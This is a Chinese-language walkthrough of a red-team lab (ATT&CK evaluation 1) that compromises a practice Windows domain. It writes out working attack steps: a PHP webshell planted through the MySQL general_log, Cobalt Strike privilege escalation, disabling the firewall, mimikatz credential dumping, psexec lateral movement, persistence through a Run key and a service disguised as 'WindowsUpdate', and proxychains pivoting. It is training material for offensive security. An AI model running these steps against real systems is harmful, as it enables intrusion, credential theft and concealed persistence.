ATT&CK红队评估一

环境说明:

win7 web服务器

外网ip:192.168.147.129

内网IP:192.168.52.128

win2008 DC域控

内网ip:192.168.52.138

win2k3 域成员

内网ip:192.168.52.141

所有主机密码均为hongrisec@2019

1、信息收集,arp-scan -l

nmap -sP --min-hostgroup 1024 --min-parallelism 1024 192.168.147.1/24

快速发现活跃主机:仅确认哪些 IP 在线,不检查服务或端口。

优化扫描效率:通过大主机组和高并行度,加速对大子网的探测(适合内网等可控环境)

2、nmap -T4 -A 192.168.147.129 -p 1-65535 -oN nmap.A

-oN nmap.A 保存结果到文件 nmap.A

3、扫描出80和3306端口,目录扫描,有http://192.168.147.129/phpMyAdmin/

4、发现l.php探针和phpmyadmin目录,访问探针,暴露了该服务器使用的是phpstudy,所以猜测mysql账号密码为root/root,成功登录

5、尝试写入木马

常见利用mysql获取shell的方法:

INTO OUTFILE 是MySQL中的一个SQL子句,用于将查询结果导出到服务器上的一个文件中

方法1:select '一句话木马' into dumpfile/outfile '绝对路径'(outfile可导多行,dumpfile只导一行)。此方法条件:

①secure_file_priv变量非NULL,即数据库不限制文件的导入导出(使用select @@secure_file_priv; 查看)

②用户拥有root权限

③知道当前网站的绝对路径

方法2:利用日志文件

show global variables like "%secure%";

查询secure_file_priv参数为NULL,所以不能通过into outfile方式写马

general_log_file指定了MySQL通用查询日志的存储路径和文件名,该日志会记录所有到达MySQL服务器的SQL语句

查询是否开启日志,虽然未开启,但是可以通过SQL语句修改

show global variables like "%general_log%";

开启日志,并设置日志文件为a.php

SET GLOBAL general_log='ON';

set global general_log_file='C:\\phpStudy\\WWW\\a.php';

设置成功以后,所以的查询语句都会被记录到日志文件中

http://192.168.147.129/a.php

SELECT "<?php eval($_POST['b']);?>";

本身只是一个 SQL 查询,返回一个字符串。

但如果这段代码被写入PHP文件(如通过 SQL 注入),就会变成一个 WebShell,允许攻击者执行任意代码。

6、使用CS上线,上线成功

权限提升,依次输入以下命令

getuid

getsystem

关闭防火墙:

netsh advfirewall set allprofiles state off

接着信息收集

net view 查看当前局域网的共享计算机(依赖 SMB 协议,网络通信协议)

发现还有两台主机,其中一台为PDC域控

ipconfig /all

发现内网网段

横向移动:

使用mimikatz获取密码和hash

logonpasswords

利用SMB来横向移动,创建一个SMB监听器,在目标列表选择主机进行psexec横向移动

另一个台同理

7、权限维持

shell REG add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v phpstudy /d "C:\phpStudy\WWW\beacon.exe" /f

不需要手动点击 beacon.exe,它会自动实现权限维持

设置一个名为WindowsUpdate的系统开机自启服务,通过此命令启动的是SYSTEM权限

shell sc create "WindowsUpdate" binpath= "cmd /C start "C:\phpStudy\WWW\beacon.exe""&&sc config "WindowsUpdate" start= auto&&net start WindowsUpdate

两种方法都是在用户登录后才能上线,但第二种却直接获得SYSTEM权限

补充:

for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.52.%I | findstr "TTL="

Windows 批处理脚本,用于快速扫描 192.168.52.0/24 子网中所有活跃的 IP 地址(192.168.52.1 到 192.168.52.254),并筛选出能响应的主机

run get_local_subnets

run autoroute -s 192.168.52.0/24

run autoroute -p

Background

use auxiliary/server/socks_proxy

set SRVPORT 8000

set SRVLHOST 192.168.147.128

run

配置proxychains.conf文件

vim /etc/proxychains.conf

探测开放的端口

proxychains4 nmap -Pn -sT -p 22,80,135,443,445,3389 192.168.52.138

相关推荐
mooyuan天天1 小时前
MySQL数据库UDF提权+Find提权渗透实战(Raven2靶机)
web安全·udf提权·phpmailer·raven2
Xudde.2 小时前
BabyPass靶机渗透
笔记·学习·安全·web安全
像风没有归宿a3 小时前
2024年全球网络安全威胁报告:AI攻击与勒索软件新变种
人工智能·安全·web安全
独行soc6 小时前
2025年渗透测试面试题总结-273(题目+回答)
网络·python·安全·web安全·网络安全·渗透测试·安全狮
独行soc6 小时前
2025年渗透测试面试题总结-274(题目+回答)
网络·python·安全·web安全·网络安全·渗透测试·安全狮
vortex510 小时前
渗透测试红队快速打点策略的思考
网络·安全·web安全
眠晚晚10 小时前
云上攻防-Docker-堡垒机安全详解
安全·web安全·网络安全·docker·容器
梦想是红队的咸鱼11 小时前
git泄露(一篇文章就够了)
git·web安全
xing.yu.CTF11 小时前
ATT&CK实战系列--蓝队防御(三)
网络·安全·web安全·横向移动·内网对抗